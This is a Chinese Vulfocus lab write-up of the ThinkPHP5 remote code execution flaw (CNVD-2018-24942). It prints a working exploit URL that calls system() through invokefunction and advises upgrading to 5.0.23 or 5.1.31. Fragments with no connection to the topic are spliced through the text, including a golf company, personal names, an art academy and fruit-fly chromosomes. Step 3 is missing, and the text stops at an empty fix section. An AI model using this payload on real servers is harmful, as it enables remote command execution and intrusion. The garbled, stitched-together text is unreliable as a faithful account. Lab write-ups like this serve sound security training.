[Vulfocus解题系列]ThinkPHP5远程代码执⾏漏洞(CNVD-2018-24942)漏洞介绍 ThinkPHP5 存在远程代码执⾏漏洞。该漏洞由于框架对控制器名未能进⾏⾜够的检测,攻击者利⽤该漏洞对⽬标⽹站进⾏远程命令执⾏攻击。 高尔夫公司
王从义中国美术学院>果蝇唾腺染体ThinkPHP 5.*,<5.1.31
ThinkPHP <=5.0.23
消防设施配套费解题过程
1.开启靶场环境
2.在其地址增加路径与参数即可,最后是需要执⾏的命令 ls /tmp
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
采集重构4.成功得到flag
结论
此漏洞是因为框架对传⼊的路由参数过滤不严格,导致攻击者可以操作⾮预期的控制器类来远程执⾏代码。进⼀步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议⽤户及时将5.0.x版本升级到5.0.23,将
侯雄飞5.1.x版本升级到5.1.31,以免遭受攻击。
漏洞修复
官⽅修复⽅案如下: